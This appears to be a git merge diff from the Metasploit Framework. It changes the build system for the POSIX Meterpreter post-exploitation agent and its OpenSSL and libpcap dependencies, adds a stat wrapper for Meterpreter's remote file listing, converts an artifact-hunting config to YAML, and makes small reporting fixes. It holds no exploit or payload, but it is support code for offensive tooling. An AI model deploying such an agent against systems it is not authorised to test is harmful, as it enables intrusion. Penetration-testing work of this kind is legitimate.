Merge branch 'master' of r7.github.com:rapid7/metasploit-framework
commit
b649181505
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -1,14 +1,36 @@
|
|||
# This file contains a list of artifacts used by the enum_artifacts post module
|
||||
# Artifacts should be listed one per line and use the following formats:
|
||||
# File entries
|
||||
# file|path/to/file|md5sum
|
||||
# YAML:1.0
|
||||
# Configuration file for enum_artifacts.rb module
|
||||
# This file contains a YAML formated list of artifacts used by the
|
||||
# enum_artifacts post module. Artifacts should be listed using the following
|
||||
# format:
|
||||
#
|
||||
# Registry entries
|
||||
# reg|hive|key|value
|
||||
# ---
|
||||
# malware_name:
|
||||
# files:
|
||||
# - name: path\to\file
|
||||
# csum: 00112233445566778899aabbccddeeff
|
||||
# - name: path\to\another\file
|
||||
# csum: 112233445566778899aabbccddeeff00
|
||||
#
|
||||
# reg_entries:
|
||||
# - key: registry_key
|
||||
# val: registry_value
|
||||
# data: data
|
||||
#
|
||||
# Happy hunting
|
||||
---
|
||||
test_evidence:
|
||||
files:
|
||||
- name: c:\ntdetect.comx
|
||||
csum: b2de3452de03674c6cec68b8c8ce7c78
|
||||
- name: c:\boot.ini
|
||||
csum: fa579938b0733b87066546afe951082c
|
||||
|
||||
reg_entries:
|
||||
- key: HKEY_LOCAL_MACHINE\SYSTEM\Selectx
|
||||
val: Current
|
||||
data: 1
|
||||
- key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ACPI
|
||||
val: DisplayName
|
||||
data: Microsoft ACPI Driver
|
||||
|
||||
file|c:\ntdetect.com|b2de3452de03674c6cec68b8c8ce7c78
|
||||
file|c:\boot.ini|fa579938b0733b87066546afe951082c
|
||||
reg|HKEY_LOCAL_MACHINE\SYSTEM\Select|Current|1
|
||||
reg|HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ACPI|DisplayName|Microsoft ACPI Driver
|
||||
|
|
|
@ -0,0 +1,9 @@
|
|||
class AddVirtualHostToHosts < ActiveRecord::Migration
|
||||
def self.up
|
||||
add_column :hosts, :virtual_host, :text
|
||||
end
|
||||
|
||||
def self.down
|
||||
remove_column :hosts, :viritual_host
|
||||
end
|
||||
end
|
|
@ -40,11 +40,25 @@ external/source/meterpreter/source/bionic/compiled/libcrypto.so: tmp/openssl-0.9
|
|||
external/source/meterpreter/source/bionic/compiled/libssl.so: tmp/openssl-0.9.8o/libssl.so
|
||||
cp tmp/openssl-0.9.8o/libssl.so external/source/meterpreter/source/bionic/compiled/libssl.so
|
||||
|
||||
LIBC=$(PWD)/external/source/meterpreter/source/bionic/libc
|
||||
LIBM=$(PWD)/external/source/meterpreter/source/bionic/libm
|
||||
COMPILED=$(PWD)/external/source/meterpreter/source/bionic/compiled
|
||||
MSF_CFLAGS=-Os -Wl,--hash-style=sysv -march=i386 -m32 -nostdinc -nostdlib -fno-builtin -fpic -I $(LIBC)/include -I $(LIBC)/kernel/common/linux/ -I $(LIBC)/kernel/common/ -I $(LIBC)/arch-x86/include/ -I $(LIBC)/kernel/arch-x86/ -I$(LIBC)/private -I$(LIBM)/include -DPIC -Dwchar_t='char' -D_SIZE_T_DECLARED -DElf_Size='u_int32_t' -D_BYTE_ORDER=_LITTLE_ENDIAN -L$(COMPILED) -lc
|
||||
|
||||
tmp/openssl-0.9.8o/libssl.so:
|
||||
[ -d tmp ] || mkdir tmp
|
||||
[ -d tmp/openssl-0.9.8o ] || wget -O tmp/openssl-0.9.8o.tar.gz http://openssl.org/source/openssl-0.9.8o.tar.gz && tar -C tmp/ -xzf tmp/openssl-0.9.8o.tar.gz
|
||||
(cd tmp/openssl-0.9.8o && ./Configure threads no-zlib no-krb5 386 --prefix=/tmp/out linux-elf shared)
|
||||
(cd tmp/openssl-0.9.8o && make CC="gcc -Os -Wl,--hash-style=sysv -I${PWD}/external/source/meterpreter/source/bionic/libc/include -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/common/linux/ -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/common/ -I${PWD}/external/source/meterpreter/source/bionic/libc/arch-x86/include/ -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/arch-x86/ -I${PWD}/external/source/meterpreter/source/bionic/libc/private -fPIC -DPIC -nostdinc -nostdlib -Dwchar_t='char' -fno-builtin -D_SIZE_T_DECLARED -DElf_Size='u_int32_t' -I${PWD}/external/source/meterpreter/source/bionic/libm/include -L${PWD}/external/source/meterpreter/source/bionic/compiled -D_BYTE_ORDER=_LITTLE_ENDIAN -lc" depend all ; [ -f libssl.so.0.9.8 -a -f libcrypto.so.0.9.8 ] )
|
||||
[ -d tmp/openssl-0.9.8o ] || wget -O tmp/openssl-0.9.8o.tar.gz http://openssl.org/source/openssl-0.9.8o.tar.gz
|
||||
[ -f tmp/openssl-0.9.8o/Configure ] || tar -C tmp/ -xzf tmp/openssl-0.9.8o.tar.gz
|
||||
(cd tmp/openssl-0.9.8o && \
|
||||
cat Configure | grep -v 'linux-msf' | \
|
||||
sed -e 's#my %table=(#my %table=( \
|
||||
"linux-msf", "gcc:$(MSF_CFLAGS) -DL_ENDIAN -DTERMIO -Wall::$(MSF_CFLAGS) -D_REENTRANT::$(MSF_CFLAGS) -ldl:BN_LLONG $${x86_gcc_des} $${x86_gcc_opts}:$${x86_elf_asm}:dlfcn:linux-shared:$(MSF_CFLAGS) -fPIC::.so.\\$$\\$$(SHLIB_MAJOR).\\$$\\$$(SHLIB_MINOR)",\
|
||||
#;' > Configure-msf;\
|
||||
cp Configure-msf Configure && chmod +x Configure && \
|
||||
grep linux-msf Configure && \
|
||||
./Configure --prefix=/tmp/out threads shared no-hw no-dlfcn no-zlib no-krb5 no-idea 386 linux-msf \
|
||||
)
|
||||
(cd tmp/openssl-0.9.8o && make CC="gcc -march=i386 -m32 -Os -Wl,--hash-style=sysv -I${PWD}/external/source/meterpreter/source/bionic/libc/include -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/common/linux/ -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/common/ -I${PWD}/external/source/meterpreter/source/bionic/libc/arch-x86/include/ -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/arch-x86/ -I${PWD}/external/source/meterpreter/source/bionic/libc/private -fPIC -DPIC -nostdinc -nostdlib -Dwchar_t='char' -fno-builtin -D_SIZE_T_DECLARED -DElf_Size='u_int32_t' -I${PWD}/external/source/meterpreter/source/bionic/libm/include -L${PWD}/external/source/meterpreter/source/bionic/compiled -D_BYTE_ORDER=_LITTLE_ENDIAN -lc" depend all ; [ -f libssl.so.0.9.8 -a -f libcrypto.so.0.9.8 ] )
|
||||
cp tmp/openssl-0.9.8o/libssl.so* tmp/openssl-0.9.8o/libcrypto.so* external/source/meterpreter/source/openssl/lib/linux/i386/
|
||||
|
||||
external/source/meterpreter/source/bionic/compiled/libpcap.so: tmp/libpcap-1.1.1/libpcap.so.1.1.1
|
||||
|
@ -53,7 +67,7 @@ external/source/meterpreter/source/bionic/compiled/libpcap.so: tmp/libpcap-1.1.1
|
|||
tmp/libpcap-1.1.1/libpcap.so.1.1.1:
|
||||
[ -d tmp ] || mkdir tmp
|
||||
[ -f tmp/libpcap-1.1.1.tar.gz ] || wget -O tmp/libpcap-1.1.1.tar.gz http://www.tcpdump.org/release/libpcap-1.1.1.tar.gz
|
||||
tar -C tmp -xzf tmp/libpcap-1.1.1.tar.gz
|
||||
[ -f tmp/libpcap-1.1.1/configure ] || tar -C tmp -xzf tmp/libpcap-1.1.1.tar.gz
|
||||
(cd tmp/libpcap-1.1.1 && ./configure --disable-bluetooth --without-bluetooth --without-usb --disable-usb --without-can --disable-can --without-usb-linux --disable-usb-linux)
|
||||
echo '#undef HAVE_DECL_ETHER_HOSTTON' >> tmp/libpcap-1.1.1/config.h
|
||||
echo '#undef HAVE_SYS_BITYPES_H' >> tmp/libpcap-1.1.1/config.h
|
||||
|
@ -63,7 +77,7 @@ tmp/libpcap-1.1.1/libpcap.so.1.1.1:
|
|||
echo '#define _STDLIB_H this_works_around_malloc_definition_in_grammar_dot_c' >> tmp/libpcap-1.1.1/config.h
|
||||
(cd tmp/libpcap-1.1.1 && patch --dry-run -p0 < ../../external/source/meterpreter/source/libpcap/pcap_nametoaddr_fix.diff && patch -p0 < ../../external/source/meterpreter/source/libpcap/pcap_nametoaddr_fix.diff)
|
||||
sed -i -e s/pcap-usb-linux.c//g -e s/fad-getad.c/fad-gifc.c/g tmp/libpcap-1.1.1/Makefile
|
||||
sed -i -e s^"CC = gcc"^"CC = gcc -Wl,--hash-style=sysv -fno-stack-protector -nostdinc -nostdlib -fPIC -DPIC -g -Wall -D_UNIX -D__linux__ -I${PWD}/external/source/meterpreter/source/bionic/libc/include -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/common/linux/ -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/common/ -I${PWD}/external/source/meterpreter/source/bionic/libc/arch-x86/include/ -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/arch-x86/ -Dwchar_t="char" -fno-builtin -D_SIZE_T_DECLARED -DElf_Size="u_int32_t" -D_BYTE_ORDER=_LITTLE_ENDIAN -lgcc -L${PWD}/external/source/meterpreter/source/bionic/compiled -gstabs+ -fPIC -Os -lc"^g tmp/libpcap-1.1.1/Makefile
|
||||
sed -i -e s^"CC = gcc"^"CC = gcc -march=i386 -m32 -Wl,--hash-style=sysv -fno-stack-protector -nostdinc -nostdlib -fPIC -DPIC -g -Wall -D_UNIX -D__linux__ -I${PWD}/external/source/meterpreter/source/bionic/libc/include -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/common/linux/ -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/common/ -I${PWD}/external/source/meterpreter/source/bionic/libc/arch-x86/include/ -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/arch-x86/ -Dwchar_t="char" -fno-builtin -D_SIZE_T_DECLARED -DElf_Size="u_int32_t" -D_BYTE_ORDER=_LITTLE_ENDIAN -lgcc -L${PWD}/external/source/meterpreter/source/bionic/compiled -gstabs+ -fPIC -Os -lc"^g tmp/libpcap-1.1.1/Makefile
|
||||
(cd tmp/libpcap-1.1.1 && make)
|
||||
|
||||
|
||||
|
@ -108,10 +122,19 @@ data/meterpreter/ext_server_networkpug.lso: $(workspace)/ext_server_networkpug/e
|
|||
clean:
|
||||
rm -f $(objects)
|
||||
rm -f external/source/meterpreter/source/bionic/lib*/*.o
|
||||
find external/source/meterpreter/source/bionic/ -name '*.a' -print0 | xargs -0 rm -f 2>/dev/null
|
||||
rm -f external/source/meterpreter/source/bionic/lib*/*.so
|
||||
(cd external/source/meterpreter/source/server/rtld/ && make clean)
|
||||
(cd $(workspace) && make clean)
|
||||
|
||||
clean-pcap:
|
||||
(cd tmp/libpcap-1.1.1/ && make clean)
|
||||
|
||||
.PHONY: clean
|
||||
clean-ssl:
|
||||
(cd tmp/openssl-0.9.8o/ && make clean)
|
||||
|
||||
really-clean: clean clean-ssl clean-pcap
|
||||
|
||||
|
||||
.PHONY: clean clean-ssl clean-pcap really-clean
|
||||
|
||||
|
|
|
@ -443,7 +443,11 @@ else # !arm
|
|||
|
||||
# Enable recent IA friendly memory routines (such as for Atom)
|
||||
# These will not work on the earlier x86 machines
|
||||
libc_common_cflags += -mtune=i686 -DUSE_SSSE3 -DUSE_SSE2
|
||||
#libc_common_cflags += -mtune=i686 -DUSE_SSSE3 -DUSE_SSE2
|
||||
|
||||
# egypt: compile for 386 so meterpreter will have a chance of working on
|
||||
# older processors
|
||||
libc_common_cflags += -march=i386
|
||||
endif # x86
|
||||
endif # !arm
|
||||
|
||||
|
|
|
@ -377,7 +377,7 @@ DEFINES = USE_LOCKS
|
|||
ANDROID
|
||||
;
|
||||
|
||||
CFLAGS_x86 = -Iprivate -Ibionic -Ikernel/arch-x86 -Ikernel/common -I../libm/include -fno-stack-protector -fno-pie -DPIC -ffreestanding -fno-tree-scev-cprop ;
|
||||
CFLAGS_x86 = -m32 -march=i386 -Iprivate -Ibionic -Ikernel/arch-x86 -Ikernel/common -I../libm/include -fno-stack-protector -fno-pie -DPIC -ffreestanding -fno-tree-scev-cprop ;
|
||||
|
||||
|
||||
for arch in $(ARCH)
|
||||
|
|
2
external/source/meterpreter/source/bionic/libc/out/x86/make.sh
vendored
Normal file → Executable file
2
external/source/meterpreter/source/bionic/libc/out/x86/make.sh
vendored
Normal file → Executable file
|
@ -17,4 +17,4 @@ gcc -Wl,--hash-style=sysv -nostdinc -nostdlib -shared -o libbionic.so flood/*.o
|
|||
|
||||
rm -rf flood >/dev/null
|
||||
|
||||
|
||||
exit 0
|
||||
|
|
|
@ -3,6 +3,7 @@ CFLAGS+= -I../libc/include -I../libc/private -I../libc/bionic -I../libc/kernel/a
|
|||
CFLAGS+= -I../libc/kernel/common/linux/ -I../libc/arch-x86/include/ -I../libc/kernel/common/
|
||||
CFLAGS+= -Os
|
||||
|
||||
CFLAGS+= -march=i386 -m32
|
||||
|
||||
all:
|
||||
gcc -Wl,--hash-style=sysv -shared -o libdl.so $(CFLAGS) libdl.c
|
||||
|
|
|
@ -10,6 +10,7 @@ CFLAGS+=-I../libc/kernel/common/ -I../libc/arch-${TARGET_ARCH}/include/ -I../lib
|
|||
CFLAGS+=-D_BYTE_ORDER=_LITTLE_ENDIAN -Ihack/ -I${TARGET_FPU} -I../libc/arch-${TARGET_ARCH}/include
|
||||
CFLAGS+=-fPIC -DPIC
|
||||
CFLAGS+=-Wl,--hash-style=sysv
|
||||
CFLAGS+=-march=i386 -m32
|
||||
|
||||
libm_common_src_files= \
|
||||
isinf.c \
|
||||
|
|
|
@ -21,7 +21,7 @@ DWORD request_fs_ls(Remote *remote, Packet *packet)
|
|||
LPSTR expanded = NULL, tempFile = NULL;
|
||||
DWORD tempFileSize = 0;
|
||||
LPSTR baseDirectory = NULL;
|
||||
struct stat buf;
|
||||
struct meterp_stat buf;
|
||||
|
||||
directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH);
|
||||
|
||||
|
@ -150,7 +150,7 @@ DWORD request_fs_ls(Remote *remote, Packet *packet)
|
|||
tempFile);
|
||||
|
||||
// Stat the file to get more information about it.
|
||||
if (stat(tempFile, &buf) >= 0)
|
||||
if (fs_stat(tempFile, &buf) >= 0)
|
||||
packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf,
|
||||
sizeof(buf));
|
||||
|
||||
|
|
|
@ -257,7 +257,7 @@ DWORD request_fs_separator(Remote *remote, Packet *packet)
|
|||
DWORD request_fs_stat(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
struct stat buf;
|
||||
struct meterp_stat buf;
|
||||
LPCSTR filePath;
|
||||
LPSTR expanded = NULL;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
@ -273,7 +273,7 @@ DWORD request_fs_stat(Remote *remote, Packet *packet)
|
|||
{
|
||||
// Stat the file using the Microsoft stat wrapper so that we don't have to
|
||||
// do translations
|
||||
if (stat(expanded, &buf) < 0)
|
||||
if (fs_stat(expanded, &buf) < 0)
|
||||
result = GetLastError();
|
||||
else
|
||||
packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf,
|
||||
|
|
|
@ -24,4 +24,33 @@ DWORD request_fs_sha1(Remote *remote, Packet *packet);
|
|||
*/
|
||||
DWORD request_fs_file_channel_open(Remote *remote, Packet *packet);
|
||||
|
||||
|
||||
|
||||
/*
|
||||
* Stat structures on Windows and various Unixes are all slightly different.
|
||||
* Use this as a means of standardization so the client has some hope of
|
||||
* understanding what the stat'd file really is.
|
||||
*/
|
||||
struct meterp_stat {
|
||||
unsigned int st_dev;
|
||||
unsigned short st_ino;
|
||||
unsigned short st_mode;
|
||||
unsigned short st_nlink;
|
||||
unsigned short st_uid;
|
||||
unsigned short st_gid;
|
||||
unsigned short pad;
|
||||
unsigned int st_rdev;
|
||||
unsigned int st_size;
|
||||
/*
|
||||
* These are always 64-bits on Windows and usually 32-bits on Linux. Force
|
||||
* them to be the same size everywhere.
|
||||
*/
|
||||
unsigned long long st_atime;
|
||||
unsigned long long st_mtime;
|
||||
unsigned long long st_ctime;
|
||||
};
|
||||
|
||||
int fs_stat(LPCSTR filename, struct meterp_stat *buf);
|
||||
|
||||
|
||||
#endif
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
#include "precomp.h"
|
||||
#include "fs.h"
|
||||
|
||||
/*
|
||||
* Returns an expanded file path that must be freed
|
||||
|
@ -37,4 +38,31 @@ LPSTR fs_expand_path(LPCSTR regular)
|
|||
strcpy(expandedFilePath, regular);
|
||||
return expandedFilePath;
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Fills the platform-independent meterp_stat buf with data from the platform-dependent stat()
|
||||
*/
|
||||
int fs_stat(LPCSTR filename, struct meterp_stat *buf) {
|
||||
struct stat sbuf;
|
||||
int ret;
|
||||
|
||||
ret = stat(filename, &sbuf);
|
||||
|
||||
if (ret == 0) {
|
||||
buf->st_dev = sbuf.st_dev;
|
||||
buf->st_ino = sbuf.st_ino;
|
||||
buf->st_mode = sbuf.st_mode;
|
||||
buf->st_nlink = sbuf.st_nlink;
|
||||
buf->st_uid = sbuf.st_uid;
|
||||
buf->st_gid = sbuf.st_gid;
|
||||
buf->st_rdev = sbuf.st_rdev;
|
||||
buf->st_size = sbuf.st_size;
|
||||
buf->st_atime = (unsigned long long)sbuf.st_atime;
|
||||
buf->st_mtime = (unsigned long long)sbuf.st_mtime;
|
||||
buf->st_ctime = (unsigned long long)sbuf.st_ctime;
|
||||
return 0;
|
||||
} else {
|
||||
return ret;
|
||||
}
|
||||
}
|
||||
|
|
|
@ -1,15 +1,34 @@
|
|||
#!/bin/sh
|
||||
|
||||
OSSL=openssl-0.9.8o
|
||||
set -e
|
||||
|
||||
pushd $OSSL
|
||||
./Configure threads no-zlib no-krb5 386 --prefix=/tmp/out linux-msf no-dlfcn shared
|
||||
popd
|
||||
#OSSL=openssl-0.9.8o
|
||||
OSSL=openssl-0.9.8n
|
||||
|
||||
export LIBC=../../bionic/libc
|
||||
export LIBM=../../bionic/libm
|
||||
export COMPILED=../../bionic/compiled
|
||||
cd $OSSL
|
||||
|
||||
cat Configure | grep -v 'linux-msf' | sed -e 's#my %table=(#my %table=(\
|
||||
"linux-msf", "gcc:\\$\\${MSF_CFLAGS} -DL_ENDIAN -DTERMIO -Wall::\\$\\${MSF_CFLAGS} -D_REENTRANT::\\$\\${MSF_CFLAGS} -ldl:BN_LLONG ${x86_gcc_des} ${x86_gcc_opts}:${x86_elf_asm}:dlfcn:linux-shared:\\$\\${MSF_CFLAGS} -fPIC::.so.\\$(SHLIB_MAJOR).\\$(SHLIB_MINOR)",\
|
||||
#;' > Configure-msf
|
||||
mv Configure-msf Configure
|
||||
chmod +x Configure
|
||||
|
||||
./Configure --prefix=/tmp/out threads shared no-hw no-dlfcn no-zlib no-krb5 no-idea 386 linux-msf
|
||||
cd ..
|
||||
|
||||
|
||||
# These have to be relative to PWD because the OpenSSL make system builds in
|
||||
# multiple different levels of subdirs, so we can't just use ../../
|
||||
export LIBC=${PWD}/../bionic/libc
|
||||
export LIBM=${PWD}/../bionic/libm
|
||||
export COMPILED=${PWD}/../bionic/compiled
|
||||
|
||||
export MSF_CFLAGS="-Os -Wl,--hash-style=sysv -march=i386 -nostdinc -nostdlib -fno-builtin -fpic -I ${LIBC}/include -I ${LIBC}/kernel/common/linux/ -I ${LIBC}/kernel/common/ -I ${LIBC}/arch-x86/include/ -I ${LIBC}/kernel/arch-x86/ -I${LIBC}/private -I${LIBM}/include -DPIC -Dwchar_t='char' -D_SIZE_T_DECLARED -DElf_Size='u_int32_t' -D_BYTE_ORDER=_LITTLE_ENDIAN -L${COMPILED} -lc"
|
||||
|
||||
# We don't need all the random executable utilities that 'all' builds, just the
|
||||
# important .so files
|
||||
#make -C $OSSL depend clean all
|
||||
|
||||
make -C $OSSL depend clean build_libs
|
||||
|
||||
export CFLAGS="-I ${LIBC}/include -I ${LIBC}/kernel/common/linux/ -I ${LIBC}/kernel/common/ -I ${LIBC}/arch-x86/include/ -I ${LIBC}/kernel/arch-x86/ -I${LIBC}/private -fPIC -DPIC -nostdinc -nostdlib -Dwchar_t='char' -fno-builtin -D_SIZE_T_DECLARED -DElf_Size='u_int32_t' -I${LIBM}/include -L${COMPILED} -D_BYTE_ORDER=_LITTLE_ENDIAN -lc"
|
||||
|
||||
make -C $OSSL depend clean all
|
||||
|
|
|
@ -3,15 +3,18 @@ CFLAGS=-I${PWD}/hack
|
|||
CFLAGS+= -I ../../bionic/libc/include -I ../../bionic/libc/kernel/common/linux/ -I ../../bionic/libc/kernel/common/ -I ../../bionic/libc/arch-x86/include/
|
||||
CFLAGS+= -I ../../bionic/libc/kernel/arch-x86/ -I../../source/server/elf/headers -I../../bionic/libc/private -fPIC -DPIC
|
||||
CFLAGS+= -nostdinc -nostdlib -Dwchar_t="char" -fno-builtin -D_SIZE_T_DECLARED -DElf_Size="u_int32_t" -DANDROID_X86_LINKER
|
||||
CFLAGS+= -ggdb
|
||||
#CFLAGS+= -ggdb
|
||||
CFLAGS+= -DMETSRV_RTLD -D_BYTE_ORDER=_LITTLE_ENDIAN
|
||||
|
||||
CFLAGS+= -march=i386 -m32
|
||||
|
||||
OBJ=msflinker.o basic_libc.o syscall.o linker_format.o dlfcn.o zlib.o metsrv_rtld.o
|
||||
|
||||
all: msflinker msflinker.bin rtldtest
|
||||
|
||||
msflinker: $(OBJ)
|
||||
gcc -Wl,-script=script -Wl,--hash-style=sysv $(CFLAGS) -o msflinker $(OBJ) -lgcc
|
||||
strip msflinker
|
||||
|
||||
msflinker.bin: msflinker elf2bin.c
|
||||
gcc -o elf2bin elf2bin.c
|
||||
|
@ -59,5 +62,5 @@ rtldtest: rtldtest.c msflinker
|
|||
clean:
|
||||
rm -f libmetsrv_main.h libssl.h libcrypto.h libm.h libc.h libsupport.h
|
||||
rm -f *.o
|
||||
rm -f msflinker msflinker.so
|
||||
rm -f msflinker msflinker.bin msflinker.so
|
||||
rm -f rtldtest elf2bin
|
||||
|
|
|
@ -60,7 +60,7 @@ int main(int argc, char **argv)
|
|||
ehdr = (Elf32_Ehdr *)data;
|
||||
phdr = (Elf32_Phdr *)(data + ehdr->e_phoff);
|
||||
|
||||
printf("data @ %08x, mapping @ %08x\n", data, mapping);
|
||||
printf("data @ %p, mapping @ %p\n", data, mapping);
|
||||
|
||||
for(i = 0; i < ehdr->e_phnum; i++, phdr++) {
|
||||
if(phdr->p_type == PT_LOAD) {
|
||||
|
@ -71,7 +71,7 @@ int main(int argc, char **argv)
|
|||
source = data + (phdr->p_offset & ~4095);
|
||||
dest = mapping + ((phdr->p_vaddr - base) & ~4095);
|
||||
len = phdr->p_filesz + (phdr->p_vaddr & 4095);
|
||||
printf("memcpy(%08x, %08x, %08x)\n", dest, source, len);
|
||||
printf("memcpy(%p, %p, %08x)\n", dest, source, len);
|
||||
memcpy(dest, source, len);
|
||||
|
||||
used += (phdr->p_memsz + (phdr->p_vaddr & 4095) + 4095) & ~4095 ;
|
||||
|
|
|
@ -29,7 +29,7 @@
|
|||
#ifndef _LINKER_DEBUG_H_
|
||||
#define _LINKER_DEBUG_H_
|
||||
|
||||
#define LINKER_DEBUG 1
|
||||
#define LINKER_DEBUG 0
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
|
@ -41,9 +41,9 @@
|
|||
* or 0 to use stdout instead.
|
||||
*/
|
||||
#define LINKER_DEBUG_TO_LOG 0
|
||||
#define TRACE_DEBUG 1
|
||||
#define DO_TRACE_LOOKUP 1
|
||||
#define DO_TRACE_RELO 1
|
||||
#define TRACE_DEBUG 0
|
||||
#define DO_TRACE_LOOKUP 0
|
||||
#define DO_TRACE_RELO 0
|
||||
|
||||
/*********************************************************************
|
||||
* You shouldn't need to modify anything below unless you are adding
|
||||
|
|
|
@ -1,5 +1,7 @@
|
|||
SUBDIRS = common metsrv ext_server_stdapi ext_server_sniffer ext_server_networkpug
|
||||
|
||||
CFLAGS+= -march=i386 -m32
|
||||
|
||||
subdirs:
|
||||
for dir in $(SUBDIRS); do \
|
||||
$(MAKE) -C $$dir; \
|
||||
|
|
|
@ -18,6 +18,8 @@ CFLAGS+= -lgcc -L../../source/bionic/compiled
|
|||
CFLAGS+= -D_UNIX -I$(SOURCEPATH) -I$(MALLOC_PATH) -I$(XOR_PATH) -DMALLOC_PRODUCTION -DPIC -I$(SSLPATH) -I$(STDLIBPATH) -I$(ZLIB_PATH)
|
||||
CFLAGS+= -g -fPIC -Os -D_POSIX_C_SOURCE=200809 -D__BSD_VISIBLE=1 -D__XSI_VISIBLE=1
|
||||
|
||||
CFLAGS+= -march=i386 -m32
|
||||
|
||||
|
||||
CC=gcc
|
||||
AR=ar
|
||||
|
|
|
@ -15,6 +15,8 @@ CFLAGS+= -lgcc -L../../source/bionic/compiled -gstabs+
|
|||
CFLAGS+= -fPIC -Os
|
||||
CFLAGS+= -I../../source/extensions/stdapi/server -lc -lsupport
|
||||
|
||||
CFLAGS+= -march=i386 -m32
|
||||
|
||||
objects = test.o
|
||||
|
||||
all: posix_sample.so
|
||||
|
|
|
@ -16,6 +16,8 @@ CFLAGS+= -lgcc -L../../source/bionic/compiled -gstabs+
|
|||
CFLAGS+= -fPIC -Os
|
||||
CFLAGS+= -I../../source/extensions/networkpug -lc -lpcap -lsupport -lmetsrv_main
|
||||
|
||||
CFLAGS+= -march=i386 -m32
|
||||
|
||||
#LDFLAGS= -fPIC -Bshareable -lc
|
||||
|
||||
ifeq ($(OSNAME), FreeBSD)
|
||||
|
|
|
@ -17,13 +17,15 @@ CFLAGS+= -fPIC -Os
|
|||
CFLAGS+= -I../../source/extensions/networkpug -lc -lpcap -lsupport -lmetsrv_main
|
||||
CFLAGS+= -I.
|
||||
|
||||
CFLAGS+= -march=i386 -m32
|
||||
|
||||
objects = sniffer.o
|
||||
|
||||
all: ext_server_sniffer.so
|
||||
|
||||
|
||||
ext_server_sniffer.so: $(objects)
|
||||
$(CC) -shared $(CFLAGS) $(objects) -lpcap -o $@
|
||||
$(CC) -Wl,--hash-style=sysv -shared $(CFLAGS) $(objects) -lpcap -lssl -o $@
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
|
|
|
@ -15,6 +15,8 @@ CFLAGS+= -lgcc -L../../source/bionic/compiled -gstabs+
|
|||
CFLAGS+= -fPIC -Os
|
||||
CFLAGS+= -I../../source/extensions/stdapi/server -lc -lsupport -lmetsrv_main -lpcap
|
||||
|
||||
CFLAGS+= -march=i386 -m32
|
||||
|
||||
#LDFLAGS= -fPIC -Bshareable -lc
|
||||
|
||||
ifeq ($(OSNAME), FreeBSD)
|
||||
|
|
|
@ -13,6 +13,8 @@ CFLAGS+= -Dwchar_t="char" -fno-builtin -D_SIZE_T_DECLARED -DElf_Size="u_int32_t"
|
|||
CFLAGS+= -D_BYTE_ORDER=_LITTLE_ENDIAN
|
||||
CFLAGS+= -lgcc -L../../source/bionic/compiled -gstabs+
|
||||
|
||||
CFLAGS+= -march=i386 -m32
|
||||
|
||||
OS=posix
|
||||
OSVPATH=../../source/common/arch/$(OS):../../source/server/linux/
|
||||
ARCHVPATH=$(OSVPATH)/$(RARCH):$(ELFARCHPATH)
|
||||
|
|
|
@ -312,9 +312,9 @@ class ReadableText
|
|||
next if (opt.advanced?)
|
||||
next if (opt.evasion?)
|
||||
|
||||
val = mod.datastore[name] || opt.default.to_s
|
||||
val_display = opt.display_value(mod.datastore[name] || opt.default)
|
||||
|
||||
tbl << [ name, val.to_s, opt.required? ? "yes" : "no", opt.desc ]
|
||||
tbl << [ name, val_display, opt.required? ? "yes" : "no", opt.desc ]
|
||||
}
|
||||
|
||||
return tbl.to_s
|
||||
|
|
|
@ -23,7 +23,7 @@ module Auxiliary::Report
|
|||
end
|
||||
|
||||
def inside_workspace_boundary?(ip)
|
||||
return if not framework.db.active
|
||||
return true if not framework.db.active
|
||||
allowed = myworkspace.allow_actions_on?(ip)
|
||||
return allowed
|
||||
end
|
||||
|
|
|
@ -262,6 +262,7 @@ class DBManager
|
|||
# :arch -- one of the ARCH_* constants
|
||||
# :mac -- the host's MAC address
|
||||
# :scope -- interface identifier for link-local IPv6
|
||||
# :virtual_host -- the name of the VM host software, eg "VMWare", "QEMU", "Xen", etc.
|
||||
#
|
||||
def report_host(opts)
|
||||
|
||||
|
|
|
@ -107,6 +107,10 @@ class EncodedPayload
|
|||
if reqs['BadChars'] or reqs['Encoder'] or reqs['ForceEncode']
|
||||
encoders = pinst.compatible_encoders
|
||||
|
||||
# Fix encoding issue
|
||||
if reqs['Encoder']
|
||||
reqs['Encoder'] = reqs['Encoder'].encode(framework.encoders.keys[0].encoding)
|
||||
end
|
||||
# If the caller had a preferred encoder, use this encoder only
|
||||
if ((reqs['Encoder']) and (preferred = framework.encoders[reqs['Encoder']]))
|
||||
encoders = [ [reqs['Encoder'], preferred] ]
|
||||
|
|
|
@ -668,7 +668,8 @@ module Exploit::Remote::HttpClient
|
|||
info << " ( #{extras.join(", ")} )" if extras.length > 0
|
||||
# Report here even if info is empty since the fact that we didn't
|
||||
# return early means we at least got a connection and the service is up
|
||||
report_service(:host => rhost, :port => rport, :name => (ssl ? 'https' : 'http'), :info => info.dup)
|
||||
ssl = datastore['SSL']
|
||||
report_web_site(:host => rhost, :port => rport, :ssl => ssl, :vhost => vhost, :info => info.dup)
|
||||
info
|
||||
end
|
||||
|
||||
|
|
|
@ -21,6 +21,10 @@ class Host < ActiveRecord::Base
|
|||
validates_exclusion_of :address, :in => ['127.0.0.1']
|
||||
